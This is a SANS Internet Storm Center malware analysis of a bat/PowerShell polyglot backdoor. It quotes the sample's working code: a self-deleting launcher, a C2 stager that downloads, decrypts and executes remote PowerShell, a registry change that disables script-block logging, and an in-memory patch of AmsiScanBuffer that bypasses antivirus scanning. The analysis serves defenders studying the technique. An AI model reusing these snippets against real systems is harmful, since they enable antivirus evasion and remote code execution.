Live Patching Windows API Calls Using PowerShell, (Wed, Nov 25th)
SANS Internet Storm Center, InfoCON: green 2020-11-25
It's amazing how attackers can be imaginative when it comes to protecting themselves and preventing security controls to do their job. Here is an example of a malicious PowerShell script that patches live a DLL function to change the way it works (read: "to make it NOT work"). This is not a new technique but it has been a while that I did not find it so, it deserves a quick review.
The original script has been spotted on Virustotal (SHA256:b2598b28b19d0f7e705535a2779018ecf1b73954c065a3d721589490d068fb54)[1] with a nice low score (3/60). The original file is interesting because it's a "bat" command line script and a PowerShell script at the same time:
# 2>NUL & @CLS & PUSHD "%~dp0" & "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -noProfile -ExecutionPolicy bypass "[IO.File]::ReadAllText('%~f0')|iex" & DEL "%~f0" & POPD /B
The environment variable '%~f0' will expand to the complete path of the script (ex: "C:\Temp\malicious.bat"). It is passed to PowerShell which will ignore the first line (starting with the '#'). The script will be deleted once PowerShell completed. Note, '%~dp0' will expand to the drive letter and path of that batch file.
The script itself is obfuscated inside a Base64-encoded string. First, it's a backdoor that tries to execute commands returned by the contacted C2 server. The HTTP connection is built in a specific way to talk to the server:
It requires a specific User-Agent:
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; $eBdd.HEadeRS.ADd('User-Agent',$u);
It tries to connect through the proxy configured in the system:
$EBdD.Proxy=[SYsTeM.NEt.WEBREqUeSt]::DeFAULtWEbProxY; $ebdd.ProxY.CreDeNTIALS = [SyStEM.Net.CredeNTiAlCAche]::DeFauLTNETWoRKCreDeNtIalS;
A cookie is required:
$eBdd.HeAdErs.Add("Cookie","session=i9jI6+TRpy75U2v68M56EtGXOWE=");
The C2 address is obfuscated:
$ser=$([TEXT.EncoDing]::UNicODe.GEtSTrInG([ConvERT]::FRoMBAsE64STriNG('aAB0AHQAcAA6AC8ALwAzAC4AMQAyADgALgAxADAANwAuADcANAA6ADEANQA0ADMAMAA='))); $t='/admin/get.php'; $daTa=$eBdD.DoWnLoadDaTA($seR+$T);
The C2 server is hxxp://%%ip:3.128.107.74%%:15430/admin/get.php.
Data received by the C2 are decrypted and executed via Invoke-Command (so, we expect PowerShell code)
$K=[SysteM.TExt.EncOdiNG]::ASCII.GeTBytEs('827ccb0eea8a706c4c34a16891f84e7b'); $R={ $D,$K=$ARgS;$S=0..255;0..255|%{ $J=($J+$S[$_]+$K[$_%$K.CounT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256; $H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I]; $_-bXOr$S[($S[$I]+$S[$H])%256] } }; $Iv=$daTa[0..3]; $DAtA=$data[4..$DAtA.lenGtH]; -JoiN[CHAr[]](& $R $DatA ($IV+$K))|IEX
But the most interesting part of the script was the technique implemented to prevent the PowerShell script to be blocked by the antivirus.
First, it tries to disable ScriptBlockLogging[2]:
$vaL=[CollECtionS.GEnErIC.DiCTIONarY[StrING,SysteM.ObjEct]]::nEW(); $Val.AdD('EnableScriptB'+'lockLogging',0); $VAl.AdD('EnableScriptBlockInvocationLogging',0); $b399['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$vaL
Then, it tries to disable the API call AmsiScanBuffer() provided by amsi.dll. How? By patching the function and overwriting the beginning of the code with a simple return code to disable the function:
$MethodDefinition = " [DllImport(`"kernel32`")]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport(`"kernel32`")]public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport(`"kernel32`")]public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); "; $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru; $ABSD = 'AmsiS'+'canBuffer'; $handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll'); [IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD); [UInt32]$Size = 0x5; [UInt32]$ProtectFlag = 0x40; [UInt32]$OldProtectFlag = 0; [Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag); $buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); [system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
Step 1: the script tries to locate the address of the function AmsiScanBuffer() in memory. To achieve this, it used the classic combination of GetModuleHandle() and GetProcAddress().
Step 2: the memory protection (where starts the function) is changed to allow writing executable code (the key flag is 0x40 or 'PAGE_EXECUTE_READWRITE')
Step 3: the memory location is overwritten with a buffer of six bytes: 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3.
This suite of bytes is the following code:
0x0000000000000000: B8 57 00 07 80 mov eax, 0x80070057 0x0000000000000005: C3 ret
The value 0x80070057 is placed into the EAX register (which is used to hold the return value of the function). This value is 'E_INVALIDARG'. Then, the function immediately returns to the caller with the 'ret' instruction. This technique implements the bypass of the antivirus scan...
As I said, this technique is not new and has already been discussed previously (around 2019) but it's interesting to see how attackers re-use always and always good old techniques.
The fun part of the backdoor? I was not able to connect to it. The C2 seems to be an SSH server. Or did I miss something?
$ curl -v -A 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' -H 'Cookie: session=i9jI6+TRpy75U2v68M56EtGXOWE=' hxxp://3[.]128[.]107[.]74:15430/admin/get.php * Trying 3[.]128[.]107[.]74... * TCP_NODELAY set * Connected to 3[.]128[.]107[.]74 (3[.]128[.]107[.]74) port 15430 (#0) > GET /admin/get.php HTTP/1.1 > Host: 3[.]128[.]107[.]74:15430 > User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko > Referer: http://www.google.com/search?hl=en&q=web&aq=f&oq=&aqi=g1 > Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */* > Accept-Language: en-us > Connection: Keep-Alive > Cookie: session=i9jI6+TRpy75U2v68M56EtGXOWE= > SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u6 Protocol mismatch. * Closing connection 0
[1] https://www.virustotal.com/gui/file/b2598b28b19d0f7e705535a2779018ecf1b73954c065a3d721589490d068fb54/detection [2] https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.1 [3] https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer
Xavier Mertens (@xme) Senior ISC Handler - Freelance Cyber Security Consultant PGP Key
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.